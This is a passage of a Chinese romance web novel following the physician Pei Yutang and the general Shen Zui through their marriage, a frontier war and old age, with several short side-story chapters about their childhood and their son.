“裴爱卿来得正好。”皇帝推过一道明黄圣旨,“沈承煜执意要随你回府养伤,朕准了。” 裴玉棠愕然。 沈醉——不,如今该称沈承煜了——懒洋洋把玩着棋子:“陛下,臣还有个不情之请。” “讲。” “臣想娶裴太医。” “哐当!”裴玉棠撞翻了棋篓。 皇帝挑眉:“裴卿意下如何?” 裴玉棠耳根通红:“陛下!臣……臣……” “他愿意。”沈醉截过话头,指尖勾住裴玉棠袖摆,“昨夜亲口说的。” 海棠树下,落英缤纷。 裴玉棠将晒好的药材收入瓷罐,身后忽然贴上一具温热躯体。沈醉下颌抵在他肩头,掌心覆上他手背:“裴大人,我的提亲聘礼……可还满意?” “胡闹。”裴玉棠挣开他,“你如今是皇亲,岂可……” “我只要做你的沈醉。”沈醉扳过他身子,将那块龙纹玉佩系回他腰间,“从今往后,我这条命、这个名字……都是裴大人的。” 风过庭院,海棠如雪纷扬。 裴玉棠终于抬手,攥住他衣襟吻了上去。 大婚夜,红烛高烧。 裴玉棠一袭正红婚服坐在榻边,金线绣的海棠纹在烛光下熠熠生辉。他指尖无意识地摩挲着袖口,听着门外越来越近的脚步声,喉结微微滚动。 房门“吱呀”一声被推开,沈醉携着夜风踏入,身上还带着淡淡的酒气。他反手合上门,倚在门框上低笑:“裴大人等急了?” 裴玉棠抬眸,正对上沈醉灼热的目光。那人一身同款婚服,衣襟微敞,露出锁骨上尚未痊愈的疤痕。烛火映照下,他眉目如画,眼底却翻涌着裴玉棠熟悉的、危险的暗潮。 “过来。”裴玉棠淡淡道。 沈醉挑眉,缓步走近,却在即将触到裴玉棠指尖时,被一把拽住手腕按在榻上!银光一闪,三根银针已抵住他咽喉。 “说。”裴玉棠居高临下看着他,“为何故意灌醉赵寒他们?” 沈醉低笑,忽然翻身将人压下。婚服交叠,红浪翻滚间,银针不知何时已散落在地。 “当然是为了……”他低头在裴玉棠耳畔轻咬,“提前回来,好好伺候裴大人。” 更漏滴到三更时,窗外突然传来急促的马蹄声。 沈醉猛然起身,婚服松散地披在肩上:“是军报。” 裴玉棠蹙眉,随手扯过外袍跟出去。院中跪着个满身风尘的传令兵,手中高举染血的军报:“边关急报!北狄十万大军压境,已连破三城!” 沈醉展开军报,眸光骤冷:“是冲我来的。” 裴玉棠接过军报,指尖一颤——北狄檄文中赫然写着“诛杀伪朝余孽沈承煜”。 “陈禹死后,北狄失去了内应。”沈醉冷笑,“这是狗急跳墙了。” 传令兵又呈上一物:“将军还说……请您看看这个。” 那是一支折断的箭,箭头上刻着与沈醉肋下伤痕完全一致的纹路——三年前西北军饷被劫时,伏击者用的就是这种箭。 裴玉棠猛地攥紧箭杆:“北狄与陈禹……早有勾结。” 五更天,金銮殿上气氛凝重。 皇帝将虎符重重拍在案上:“沈卿刚大婚,朕本不该……” “臣请战。”沈醉单膝跪地,婚服未换,衣摆还沾着昨夜的红烛泪。 裴玉棠立在武官队列中,看着沈醉挺直的背影,忽然出列跪地:“臣请随军。” 满朝哗然。皇帝沉声道:“裴卿是文官。” “臣首先是医者。”裴玉棠抬头,“三年前西北军饷案,臣父蒙冤而死;今日北狄来犯,用的又是当年同样的箭——臣,必须去。” 沈醉侧目看他,眸中情绪翻涌。 出征前夜,沈醉将裴玉棠压在营帐的军械架上。 “你知道战场不是太医院。”他咬住裴玉棠的喉结,“我会分心。” 裴玉棠反手扣住他后颈,将一个瓷瓶塞进他领口:“每日一粒,可保你剧毒不侵。”顿了顿,“敢死在外面,我做鬼也不放过你。” 沈醉低笑,忽然抽出一把匕首割下两人一缕发丝,熟练地编成同心结塞进裴玉棠怀中:“裴大人的魂……我预订了。” 帐外传来集结的号角,沈醉最后吻了吻他眉心:“等我回来。” 三日后,京城南门。 百姓们惊讶地看着一袭白衣的裴太医策马冲出城门,腰间佩剑,背后药箱在晨光中泛着冷芒。 守将拦住他:“裴大人!没有圣旨不得离京!” 裴玉棠甩出一道手谕——那是皇帝特许他督办军药的密旨。 “让开。”他冷声道,“我的夫君在等我。” 马蹄踏碎晨露,向着烽火连天的北方疾驰而去。 北境,暴雪夜。 裴玉棠的白裘大氅已被血浸透,腰间长剑豁了口,却仍死死握在手中。他伏在雪丘后,盯着百步外的北狄大营——那里火光冲天,隐约传来凄厉的惨叫。 三日前,前线传来噩耗:沈醉率轻骑突袭敌营,却中了埋伏,生死不明。 "大人,不能再往前了!"随行的药童拽住他衣袖,声音发颤,"那是北狄王的主帐!" 裴玉棠抹去脸上血渍,从怀中取出那个发丝编就的同心结,轻轻一吻:"你们在此接应。" 话音未落,他已如鬼魅般掠向敌营。 主帐内,血腥气浓得呛人。 沈醉被铁链悬在刑架上,十指钉着透骨钉,脚下积了一滩暗红的血。北狄王捏着他下巴,将金针在他眼前晃了晃:"认得这个吗?裴家祖传的''锁魂针'',据说能让人求生不得……求死不能。" 沈醉啐出一口血沫,染红了对方貂裘:"废话……真多。" 北狄王暴怒,金针直刺他心口! "嗖——!" 一柄飞刀破空而来,将金针击成两段!帐门处,裴玉棠执剑而立,白衣染血,眸若寒星。 "放了他。" 北狄王愣了一瞬,突然狂笑:"好啊!本王正愁缺个太医试药!"他一挥手,"拿下!" 十余名狄兵持刀扑来。裴玉棠剑光如虹,瞬间割开三人咽喉,却被背后偷袭的弯刀划破右肩。他闷哼一声,反手将银针扎入对方眼球! 沈醉在刑架上嘶吼:"裴玉棠!走!" 裴玉棠充耳不闻,一剑劈开锁链。沈醉跌落在他怀中,铁锈味混着冰冷的气息扑面而来。 "你……"沈醉染血的手指抚过他脸颊,"傻不傻……" 北狄王趁机举刀劈下!裴玉棠旋身将沈醉护在身下,眼看刀锋将至—— "噗嗤!" 一支羽箭穿透北狄王咽喉!帐外杀声震天,赵寒率援军杀到:"裴大人!沈将军!" 伤兵营内,炭盆烧得正旺。 裴玉棠为沈醉拔去透骨钉时,那人疼得咬碎了木楔,却仍笑着逗他:"裴大人这手艺……比北狄的刽子手强多了……" "闭嘴。"裴玉棠手抖得几乎握不住镊子。沈醉身上几乎没有完好的皮肤,最深的伤口离心脏只差半寸。 沈醉忽然握住他手腕:"低头。" 裴玉棠下意识俯身,被一个染血的吻封住了唇。 "现在……"沈醉气息微弱,"我身上……全是裴大人的味道了……" 捷报传回京城那日,恰是除夕。 皇帝亲自到城门迎接凯旋之师,却见沈醉横抱着熟睡的裴玉棠从马车下来——那位总冷着脸的太医,此刻蜷在沈醉怀里,手中还攥着半截染血的绷带。 "臣妻累了。"沈醉理直气壮,"陛下要训话,冲臣来。" 满朝文武憋笑憋得发抖。皇帝扶额:"滚吧。" 海棠树下,沈醉将人轻轻放在榻上。裴玉棠迷糊间抓住他衣襟:"……沈醉?" "嗯。" "……别走。" 沈醉吻了吻他眉心,将同心结系回两人腕上:"睡吧,我守着。" 窗外,新年的第一场雪悄然落下。 50. 第 68 章 永和十二年,春。 七岁的裴玉棠蹲在太医院后院的药圃里,白嫩的小手捏着一株刚冒芽的当归,眉头皱得紧紧的。 "小公子,这药苗不能拔!"老药童慌慌张张地跑来,"这可是院判大人亲手种的!" 裴玉棠充耳不闻,继续用小木棍戳着泥土:"它长歪了。" "……啊?" "根须朝东南偏了三寸。"小玉棠板着脸,活像个严肃的小夫子,"影响药性。" 老药童哭笑不得,正想再劝,忽听墙头传来"咔嚓"一声脆响—— 一枝海棠应声而断,紧接着,一个玄衣小男孩从墙头摔了下来,正正砸在裴玉棠刚整理好的药垄上! 泥土飞溅,药苗遭殃。 裴玉棠缓缓抬头,对上一双亮得惊人的眼睛。那男孩约莫八九岁年纪,发梢还沾着花瓣,此刻正龇牙咧嘴地揉着屁股:"哎呦……这墙比军营的还难爬!" "你。"裴玉棠站起身,小小的身影在夕阳下拉出长长的影子,"赔我的药。" 男孩一骨碌爬起来,笑嘻嘻地拱手:"在下沈醉,不知小太医尊姓大名?" "裴玉棠。"小玉棠冷着脸,"还有,我不是太医。" "现在不是,以后肯定是嘛!"沈醉自来熟地勾住他肩膀,"你们太医院的墙太高了,我爬了三次才……哎?" 他忽然噤声,因为裴玉棠正用一根银针抵着他腰眼。 "再碰我,扎你哭穴。" 沈醉眨了眨眼,突然伸手捏住他脸颊:"哇,小太医凶起来像只炸毛的猫!" "……!" 十息之后,太医院后院响起惊天动地的嚎叫。 "嗷!真扎啊?!" 自此,沈醉成了太医院的常客。 有时带一包蜜饯,有时偷一壶果酒,更多时候是带着一身伤翻墙而入,笑嘻嘻地凑到裴玉棠跟前:"小太医,给治治?" 裴玉棠从最初的冷脸相对,渐渐变成一边冷着脸一边给他上药。 "你又跟人打架。"十二岁的裴玉棠拧着眉,给十五岁的沈醉包扎手臂上的刀伤,"兵部尚书家的公子你也敢打?" 沈醉满不在乎地叼着草茎:"谁让他骂你是''药罐子里泡大的病秧子''。"说着突然凑近,"不过小太医,你这些年怎么都不长个啊?" 裴玉棠一针扎在他合谷穴上。 "嘶——我错了我错了!" 裴玉棠及冠那日,沈醉在边关打仗。 他收到一封千里加急的军报,拆开却是一幅画——歪歪扭扭的海棠树下,两个小人并肩而立。旁边题着狗爬般的字: "等我回来,给你带西疆的雪莲。" 裴玉棠将画收进贴身的香囊,转身去了药房。三日后,一队镖师护送着十车金疮药奔赴边关。 又三年,沈醉凯旋。 他在太医院门口拦住刚下值的裴玉棠,风尘仆仆的铠甲都没卸,从怀里掏出一株干枯的雪莲:"西疆最好的雪莲,答应你的。" 裴玉棠看着那株蔫头耷脑的草药,突然笑了:"傻子,雪莲要新鲜的才入药。" "啊?"沈醉呆住,"那我再回去……" "不必。"裴玉棠接过雪莲,轻声道,"这个就很好。" 夜风拂过,掀起两人衣摆。沈醉忽然发现,当年那个矮他半个头的小太医,如今已能平视他的眼睛了。 "裴玉棠。" "嗯?" "我回来了。" 小剧场 后来某日,裴玉棠整理旧物时翻出那株干雪莲。 沈醉从背后拥住他:"还留着?" 裴玉棠淡淡道:"药性还在。" 沈醉低笑,吻他耳尖:"是相思药的药性吗?" 银光一闪,沈将军第无数次被扎成了刺猬。 2. 昭武将军府,鸡飞狗跳的清晨。 五岁的沈念棠光着脚丫满院子跑,身后追着三四个气喘吁吁的嬷嬷。 "小祖宗!把鞋穿上!" "不要!"奶团子一个急转弯,灵活地钻过回廊栏杆,"爹爹说光脚练功下盘更稳!" 刚下朝的沈醉倚在门边笑得前仰后合,直到一道冷冽的视线扎在背上——裴玉棠不知何时站在廊下,手中银针寒光闪闪。 "你教他的?" 沈醉立刻站直:"冤枉!我明明说的是''光脚跑容易着凉,着凉了要喝你父亲熬的苦药''!" 裴玉棠冷笑,转头看向儿子:"沈念棠。" 奶团子瞬间僵住,乖乖走回来穿鞋,还不忘瞪他爹一眼:"爹爹骗人!明明说父亲扎针不疼的!" 事情的起因是三天前,沈念棠在太医院玩火,差点烧了裴玉棠珍藏的药典。 当时裴玉棠什么也没说,只是当晚给孩子熬了一碗黄连醒神汤,并附赠三根银针调理穴位。 小团子哭得惊天动地,从此见了他父亲就乖得像只鹌鹑。 "你吓着他了。"沈醉半夜搂着媳妇嘀咕,"不就几本书嘛……" 裴玉棠翻身压住他,银针在月光下泛着冷光:"沈将军也想调理调理?" 沈醉立刻闭嘴,并在次日清晨偷偷给儿子塞了包蜜饯。 秋猎当日,意外突发。 沈念棠趁侍卫不注意,跟着别家小公子溜进了猎场深处。等众人发现时,两个孩子正被三匹野狼围在树上! 沈醉赶到时,只见裴玉棠一袭白衣立于树下,手中没有弓箭刀剑,只有三根银针。 "闭眼。"裴玉棠对树上的孩子们说。 下一秒,银光破空! 三匹狼哀嚎着倒地,每一根的针都精准刺入穴位,既未伤及性命,又让它们瞬间失去行动力。 沈念棠眼睛亮得像星星:"父亲好厉害!" 当晚,小团子抱着枕头挤进主屋:"我要跟父亲学针灸!" 沈醉拎起儿子后领:"想都别想!那是我媳妇!" 然而沈念棠天赋异禀。 六岁时就能辨认百种药材,七岁时背完《黄帝内经》,八岁那年甚至治好了沈醉的落枕——虽然手法生疏,扎得他爹嗷嗷叫。 "轻点!我是你亲爹!" "《针灸大成》说,天柱穴需入肉三分。"小少年一脸严肃,"还差一分。" 沈醉泪流满面地看向裴玉棠:"管管你儿子!" 裴玉棠抿唇忍笑,伸手调整儿子的指法:"腕力不够,我教你。" 沈醉:"……" 元宵夜,长安灯市。 十五岁的沈念棠已经比裴玉棠还高了,一手牵着妹妹,一手举着糖葫芦。沈醉揽着裴玉棠走在后面,突然凑近咬走他半块桂花糕。 "甜。" 裴玉棠瞪他,耳尖却红了。 前方忽然传来少女的惊呼,原来是有惊马冲撞人群。沈念棠瞬间冲出去,银针从袖中滑入指尖—— "嗖!" 惊马前蹄一软,稳稳停在少女面前。 沈醉挑眉:"这手法……" 裴玉棠轻笑:"我教的。" 回家的路上,沈念棠难得支支吾吾:"父亲,那位姑娘……" "太医院不反对师生恋。"裴玉棠淡定道,"但若你像某人当年那样翻墙骚扰……" 沈醉抗议:"我那是……" "扎哭穴。"父子俩异口同声。 灯火阑珊处,沈念棠看着打闹的父亲们,悄悄握紧了袖中的银针——那是他亲手打磨的,针尾刻着一朵小小的海棠。 彩蛋 后来太医院多了位年轻的沈御医,据说扎针特别疼。 有大臣向裴院判告状,裴玉棠淡定喝茶:"随他爹。" 沈醉在门外跳脚:"这也能赖我?!" 沈念棠默默给亲爹扎了一针哑穴。 3. 太医院新来的小药童发现了一个秘密。 每月十五,裴院判总会独自在药房待到深夜。烛火摇曳间,能看见他对着一个锦盒出神,盒中躺着一枚褪色的旧银针,针尾缠着几缕褪色的红线。 "那是定情信物。"老药童神秘兮兮地解释,"听说当年沈将军就是用这根针,把咱们院判大人追到手的。" 小药童瞪圆眼睛:"用针扎出来的感情?" "胡说什么!"老药童敲他脑袋,"是救命之恩!" 时光倒转二十年前。 十六岁的裴玉棠随师父出诊,在城外官道遭遇山匪。混乱中他与师父失散,被逼到悬崖边。 "小郎君生得真俊。"匪首狞笑着逼近,"不如跟咱们回寨子当压寨夫人?" 一支羽箭突然穿透匪首咽喉! 裴玉棠抬头,只见山坡上一名玄衣少年收弓跃马,逆着夕阳疾驰而来。其余山匪举刀围攻,却被少年一柄长剑杀得人仰马翻。 "没事吧?"少年蹲在他面前抹了把脸上的血,笑得灿烂,"我叫沈醉,你呢?" 裴玉棠愣愣看着扎在对方肩头的箭矢:"你...受伤了。" "小伤!"沈醉满不在乎地拔掉箭,却在起身时晃了晃,"哎呦..." 裴玉棠下意识扶住他,摸到满手温热鲜血。 破庙里,裴玉棠用仅剩的银针为沈醉止血。 "你是太医?"沈醉好奇地看着他熟练的针法。 "学徒。"裴玉棠抿唇,"别动,会疼。" "哎呦!"沈醉夸张地嚎叫,"小太医,你这手法不行啊——" 裴玉棠一针扎在他哑穴上。 世界终于清净了。 三日后,裴玉棠回到太医院,发现墙角蹲着个熟悉的身影。 "我来复诊!"沈醉举起缠着绷带的手臂,笑嘻嘻递过一个油纸包,"西街最好吃的桂花糕,赔你的银针。" 裴玉棠看着油纸包里那根被擦得锃亮的银针,针尾还缠上了红线。 "...针是一次性的。" "那就当定情信物!" 银光一闪,沈醉又被扎成了刺猬。 多年后某个深夜。 沈醉突然惊醒,发现枕边人不在。他寻到药房,看见裴玉棠正对着锦盒发呆。 "又想当年的事了?"沈醉从背后拥住他。 裴玉棠轻抚银针:"若那日你没出现..." "那我就会错过全世界最好的小太医。"沈醉吻他发顶,"不过..." 他突然抢过锦盒:"这破针有什么好看的?现在我有更好的定情信物——" 说着掏出个胖乎乎的布偶,赫然是裴玉棠模样的Q版娃娃,心口处绣着那根红绳银针。 "...幼稚。" 烛火下,裴玉棠耳尖通红。 甜饼小剧场 后来沈念棠大婚时,收到的贺礼是个同样Q版的沈醉娃娃。 新娘好奇地问:"这针扎进去会疼吗?" 沈醉&裴玉棠异口同声:"你试试?" 吓得小两口连夜把娃娃供在了祠堂。 4. 永和三十七年,冬。 太医院的梅花开了第三茬时,裴玉棠收到了沈醉从北境送来的家书。信笺上是那人一贯潦草的字迹,末尾却多了几行工整的小楷—— [父亲安好。爹爹前日雪夜追敌三十里,旧伤复发,现下已无大碍,只是夜里常咳。儿已按父亲所教之法施针,然爹爹总偷倒汤药,望父亲来信训斥。] 裴玉棠捏着信纸的指尖微微发紧。 "备马。"他起身时带翻了案上茶盏,褐色的药汁浸透信笺,将"旧伤复发"四个字晕染得模糊不清。 北境大营,风雪夜。 沈醉裹着狐裘靠在榻上,正与几位将领商议军务,帐外突然传来一阵骚动。 "将军!太医院裴大人到——" 帘帐掀开的瞬间,寒风卷着雪粒子扑进来。裴玉棠一身素白大氅立在灯下,眉睫凝霜,唇色冻得发青,怀里却紧紧抱着个紫铜药箱。 满帐将士齐刷刷起身行礼。沈醉愣了片刻,突然剧烈咳嗽起来,边咳边摆手:"都、都出去……" 待众人退尽,裴玉棠几步上前扣住他手腕。沈醉的手冰凉,腕脉浮滑无力,显然这些日子根本没好好调养。 "念棠的信是你逼着写的?"裴玉棠声音比帐外的雪还冷。 沈醉心虚地别开眼:"那小崽子告状?"话未说完,喉间又是一阵痒意。他偏头闷咳,却见裴玉棠从药箱取出金针,在烛火上细细烤过。 "躺平。" 沈醉忽然抓住他手腕:"先暖暖手。"说着将那双冰雕似的手拢进自己衣襟,贴着心口焐热。裴玉棠挣了一下没挣脱,索性由他去了。 帐内炭火噼啪,沈醉的心跳透过单薄里衣传来,稳健有力。 "……逞什么英雄。"裴玉棠垂眸,"五十多岁的人,还当自己是少年郎?" 沈醉低笑:"在裴大人眼里,我永远十八。" 银光一闪,沈将军痛呼出声:"轻点!" 三更天,药香弥漫。 裴玉棠盯着沈醉喝完最后一碗药,正要起身,却被拽住袖角。 "陪我躺会儿。"沈醉往榻里挪了挪,"就一会儿。" 那双眼在灯下显得格外亮,眼尾细纹里盛着明晃晃的期待。裴玉棠沉默片刻,和衣躺下,立刻被揽进熟悉的怀抱。沈醉的下巴蹭在他发顶,满足地叹了口气:"暖和。" 裴玉棠忽然想起二十多年前那个雨夜,浑身是血的青年也是这般,死死攥着他的衣袖说"别走"。 他悄悄往沈醉怀里靠了靠。 年关将至,北狄突然来犯。 裴玉棠站在城墙上,看沈醉率军出城迎敌。玄甲白马的将军回头望了一眼,突然策马折返,在众目睽睽之下仰头吻上他的掌心。 "等着。"沈醉咬了下他指尖,"回来给你带北狄王的金冠当新年礼。" 裴玉棠反手将一枚平安符塞进他铠甲夹层:"活着回来。" 战鼓震天,铁骑如洪流涌向雪原。裴玉棠立在猎猎旌旗下,直到那抹玄色彻底消失在风雪中。 捷报传回那日,恰是除夕。 沈醉风尘仆仆踏入营帐,金冠没抢到,倒是抱了坛北狄皇室秘藏的葡萄酒。 "尝尝?"他拍开泥封,"说是能延年益寿。" 裴玉棠接过酒盏抿了一口,眉头微蹙:"……酸。" "我尝尝。"沈醉就着他的手饮尽残酒,忽然笑道,"甜的。" 帐外爆竹声声,衬得这一方天地格外安宁。沈醉摩挲着裴玉棠鬓角零星的白发,轻声道:"等开春回京,咱们把西郊那处温泉庄子修整修整?" "嗯。" "念棠说要带他媳妇来拜年,得准备红包。" "嗯。" "裴玉棠。" "……嗯?" 沈醉吻了吻他眉心:"岁岁长相见。" 窗外,新年的第一场雪悄然落下。 小剧场 后来某日,沈念棠在父亲药箱底层发现一沓泛黄的信笺。 每张都写着"岁岁长相见",笔迹从稚嫩到苍劲,跨越三十余年光阴。 最新的一张墨迹未干,是裴玉棠的字迹—— 「烦请沈将军按时喝药,否则今生不见。」 5. 沈醉病了。 这消息传到太医院时,裴玉棠正在给新进的药材分类。小药童慌慌张张跑进来,差点撞翻一筐当归:“院判大人!将军府来报,说沈将军高热不退,已经说了一整日的胡话!” 裴玉棠的手顿在半空,指尖还拈着一片晒干的雪莲瓣。他神色未变,只是将药屉合上的声音比平日重了三分。 “备马。” —— 将军府内,一片兵荒马乱。 沈醉的副将赵寒在院门口来回踱步,见裴玉棠来了,如见救星般迎上去:“裴大人!将军从昨日起就——” 裴玉棠抬手止住他的话,径直踏入内室。 床榻上,沈醉面色潮红,额上覆着湿帕子,眉头紧锁,唇色却苍白。他向来健朗,裴玉棠极少见他这般虚弱模样,一时间竟觉得胸口发闷。 “都出去。”裴玉棠淡淡道。 待众人退下,他坐到床边,指尖搭上沈醉的脉搏。脉象浮数,显然是风寒入体,又兼劳累过度。裴玉棠收回手,正要起身去配药,却被一只滚烫的手攥住了衣袖。 “……玉棠。”沈醉半梦半醒间,声音沙哑得不成样子,“别走。” 裴玉棠垂眸看他,半晌,轻轻“嗯”了一声。 一碗苦药下去,沈醉的高热退了些,人却仍昏沉着。 裴玉棠坐在床边,手中银针在烛光下泛着冷芒。他极少有这样安静端详沈醉的时候——平日里这人总是嬉皮笑脸地凑过来,或是意气风发地立在马上,何曾像现在这般,安静得几乎让人心慌。 他伸手拨开沈醉额前汗湿的发,指尖触及的温度仍有些烫。沈醉在睡梦中无意识地蹭了蹭他的手指,像只撒娇的大猫。 裴玉棠收回手,起身去换帕子。 —— 夜半,沈醉终于清醒了些。 他睁开眼,看见裴玉棠靠在床边的矮榻上,手中还握着一卷医书,却已经睡着了。烛火映着他的侧脸,眼下淡淡的青影显得格外清晰。 沈醉想叫他去床上睡,又舍不得惊动他,只好轻手轻脚地撑起身子,想给他披件外袍。 “躺回去。” 裴玉棠的声音突然响起,眼睛却没睁开。 沈醉讪讪地缩回手:“……吵醒你了?” 裴玉棠这才抬眼,目光落在他仍有些发红的脸颊上:“高热未退,乱动什么?” 沈醉笑道:“怕你着凉。” 裴玉棠懒得理他,伸手又探了探他的额头,确认温度降了些,才稍稍松了口气。 “喝水吗?” 沈醉点头,眼巴巴地看着他。 裴玉棠倒了杯温水递过去,沈醉却不接,只是就着他的手喝了两口,然后得寸进尺地靠在他肩上:“头疼……” 裴玉棠本想推开他,但见他确实病恹恹的,终究没动手,只是冷声道:“活该。” 翌日清晨,沈醉的高热终于退了。 裴玉棠熬了一夜,眼下青影更重。他写了一张药方交给府中下人,又叮嘱了几句饮食禁忌,便准备回太医院。 “等等。”沈醉叫住他,从枕下摸出一块玉佩,“这个给你。” 裴玉棠皱眉:“做什么?” “定情信物啊。”沈醉笑道,“我病了这一场,才想起来咱们成亲这么多年,我还没正经送过你什么。” 那玉佩通体莹白,雕着并蒂海棠,花蕊处嵌着两颗红豆,精致非常。 裴玉棠盯着玉佩看了半晌,突然道:“你这次生病,是因为冒雨去南山寺求这个?” 沈醉一愣,随即讪笑:“……你怎么知道?” 裴玉棠冷笑:“南山寺的香灰味,我隔着一里地都能闻出来。” 沈醉:“……” 最终,裴玉棠收下了玉佩。 但他回赠了沈醉一根新打的银针——针尾缠着红线,与当年那根一模一样。 沈醉捏着银针,笑得像个傻子:“这算是定情信物?” 裴玉棠淡淡道:“是警告。再敢冒雨乱跑,下次扎的就是哭穴。” 沈醉大笑,一把将他搂进怀里。 窗外,春日的阳光正好,海棠花开得绚烂。 —— 后来,那块玉佩一直挂在裴玉棠腰间,而银针则被沈醉贴身收着,从未离身。 6. 永和四十年,春。 裴玉棠在整理药柜时,从最底层的檀木匣中发现了一封泛黄的信笺。 信纸已经脆薄,墨迹却依然清晰,是二十年前沈醉的字迹—— 「小太医,若我此战能活着回来,咱们就在西郊海棠林里盖间小屋如何?每日看你捣药,我练剑,再养两只胖兔子。」 裴玉棠的手指微微发颤。他记得这封信——那时沈醉奉命出征南疆,临行前夜翻进太医院,将这封信塞进了他的药箱。 "找到什么宝贝了?" 一双温暖的手臂从背后环上来,沈醉的下巴抵在他肩上,呼吸间带着淡淡的药香。这些年他旧伤不断,裴玉棠便养成了在他茶里加养生药材的习惯。 "你当年写的混账话。"裴玉棠将信纸拍在他胸口,"西郊哪来的海棠林?" 沈醉展开信纸,突然笑出声:"怎么没有?现在不是满山都是?" 三日后,一辆马车驶向西郊。 沈念棠牵着五岁的小女儿站在路边,看着自家两位父亲带着锄头、树苗和一大包点心往山里去,忍不住叹气:"祖父们又要去种树了。" 小女孩仰起脸:"为什么呀?" "因为某个老将军年轻时吹牛,说要给太医大人种一片海棠林。"沈念棠揉揉女儿的脑袋,"种了二十年,还没种够。" —— 山坡上,沈醉挥汗如雨地挖着树坑。年过六旬的将军背脊依然挺拔,只是每挖几下就要停下来喘口气。 "逞强。"裴玉棠递过帕子,顺手把了把他的脉,"今日只准种三棵。" 沈醉笑嘻嘻地凑过来讨水喝:"当年你说''西郊没有海棠林'',现在可打脸了?" 的确,放眼望去,整片山坡海棠灼灼,都是这些年他们亲手栽下的。 裴玉棠冷哼一声,从药篮里取出个小瓶:"伸手。" "又扎针?"沈醉哀嚎,"我这老胳膊老腿......" 话虽这么说,却乖乖伸出了手腕。裴玉棠的针法比年轻时更加精准,三根银针下去,沈醉酸痛的腰背顿时松快了许多。 "神医啊。"沈醉趁机偷了个香,"今晚回去给你揉肩。" 夜幕降临,山间小屋亮起温暖的灯光。 这间木屋是十年前盖的,不大却精致。窗前摆着药碾,墙上挂着沈醉的旧剑,角落里还有两只胖乎乎的兔子——已经是第七代了。 裴玉棠在灶前熬粥,沈醉从背后环住他的腰,忽然"咦"了一声:"你头上有个白东西。" "什么?" 沈醉变魔术似的从怀里掏出个小玉冠:"去年在古董铺子瞧见的,像不像你年轻时常戴的那支?" 玉冠温润,雕着细密的海棠纹。裴玉棠怔了怔,想起三十多年前那个雨夜,自己就是用一支海棠玉冠挽的发。 "......浪费银子。"他别过脸,耳根却悄悄红了。 沈醉大笑着将他转过来,亲手为他绾发戴冠:"我家太医大人,戴什么都好看。" 夜深时,沈醉突然从梦中惊醒。 他下意识去摸枕边,却扑了个空。屋外传来细微的捣药声,推门一看,裴玉棠正在月光下研磨药材。 "又失眠?"沈醉挨着他坐下,顺手接过药杵。 裴玉棠摇头:"新配的安神散,给你明日带走。" 三日后是沈醉每年例行巡边的日子。虽然如今天下太平,这习惯却保留了下来。 沈醉心头一暖,忽然指着院角:"看,开花了。" 一株新栽的海棠在月色下绽出花苞,嫩生生的。裴玉棠想起许多年前,也有个浑身是血的青年,指着墙角的海棠苗对他说:"等它开花,我就回来。" "这次去多久?" "最多半月。"沈醉握住他的手,"回来给你带南疆的灵芝。" 裴玉棠冷笑:"上次带的''灵芝''是块树根。" "这次保真!"沈醉举手发誓,"否则罚我喝你熬的黄连汤。" 离别的清晨,沈醉在裴玉棠腰间系了个锦囊。 "不许偷看,等我走了再打开。" 马车远去后,裴玉棠解开锦囊,里面是一缕用红绳缠着的头发——他的白发,沈醉的黑发,紧紧编在一起。 锦囊内侧绣着一行小字: 「愿为连理枝,岁岁不相离。」 山风拂过,满林海棠纷扬如雪。裴玉棠站在花雨中,轻轻攥紧了锦囊。 他知道,无论走多远,那个人总会回来。 就像海棠年年盛开,从不错约。 彩蛋 后来沈念棠在整理父亲们的遗物时,发现了一箱子往来书信。 最早的一封写着"小太医,等我回来",最新的一封却是"老太医,我回来了"。 中间隔着四十年的光阴,和满山永不凋零的海棠。 7. 永和四十五年,深秋。 裴玉棠发现自己的手开始发抖了。 太医院新进的药材清单上,他写的"当归"二字竟有些歪斜。老药童接过单子时欲言又止,最终只是默默替他重新誊抄了一份。 "我看看。" 沈醉不知何时站在了药房门口,六十五岁的将军鬓角已全白,背却挺得笔直。他抓过裴玉棠的手腕,三根手指搭在脉门上,眉头渐渐皱起。 "如何?"裴玉棠挑眉,"沈神医诊出什么了?" "诊出某个老太医熬夜看医案,活该手抖。"沈醉从怀里掏出个油纸包,"西街新开的蜜饯铺子,尝尝?" 油纸里裹着晶莹的梨膏糖,是裴玉棠年轻时最爱的口味。 夜里,裴玉棠在灯下研究新得的医书。 沈醉端了盆热水进来,不由分说地将他双脚按进水里:"泡两刻钟。" "多事。"裴玉棠挣了挣,却被沈醉牢牢按住脚踝。 温热的水流漫过脚背,沈醉粗糙的掌心轻轻按摩着他脚底的穴位。这是他们之间的老习惯了——年轻时裴玉棠常常久站施针,沈醉就学了这套手法。 "今日念棠来说,皇上想请你去太医署讲学。"沈醉低着头,声音闷闷的,"我替你推了。" 裴玉棠翻书的手一顿:"为何?" "那群小兔崽子不配听你讲课。"沈醉恶狠狠地加重了力道,"再说......" 再说我们剩下的时间,一刻都不能浪费。 后半句沈醉没有说出口,但裴玉棠听懂了。他放下书卷,伸手抚上沈醉的白发:"明日陪我去西郊看看海棠?" 西郊的山坡上,他们并肩坐在老梨树下。 这片海棠林已经长得遮天蔽日,秋风拂过时,花瓣纷纷扬扬落在两人肩头。沈醉忽然从怀里掏出个小布包:"伸手。" 布包里是一根崭新的银针,针尾缠着褪色的红线——与他们年少时那根一模一样。 "你......" "我找了三个月才找到会这门手艺的匠人。"沈醉得意地挑眉,"试试?" 裴玉棠接过银针,手腕却突然被沈醉握住。 "往这儿扎。"沈醉指着自己心口,"当年第一针就是扎在这,现在也该扎在这。" 银针在阳光下闪着微光,最终轻轻落在了沈醉掌心。 "老了,扎不准了。"裴玉棠收起针,"回去吧。" 冬至那日,沈醉在院子里堆了两个雪人。 一个戴着玉冠,一个佩着木剑,两个雪人紧紧挨着,像极了他们年少时的模样。裴玉棠站在廊下看了一会儿,突然取来银针,在"小太医"雪人的心口位置扎了一下。 "报仇了?"沈醉从背后拥住他。 裴玉棠向后靠进熟悉的怀抱:"嗯。" 暮色渐沉,两个白发苍苍的身影依偎在廊下,看细雪渐渐覆盖了整座庭院。 后来沈念棠在整理遗物时,发现父亲们的枕头下压着两样东西: 一根缠着红线的银针,一片风干的海棠花瓣。 正如六十年前那个雨夜,少年太医与青年将军的初见。 8. 永和五十年,春。 沈醉七十大寿这天,太医院的小药童们忙得脚不沾地。 "裴院判,寿桃要摆几个?" "裴大人,沈将军的贺礼送到哪儿?" "师父,药膳里要不要加当归?" 裴玉棠坐在廊下拣药,银发用那支海棠玉冠松松挽着,闻言头也不抬:"当归不要,他嫌苦。" 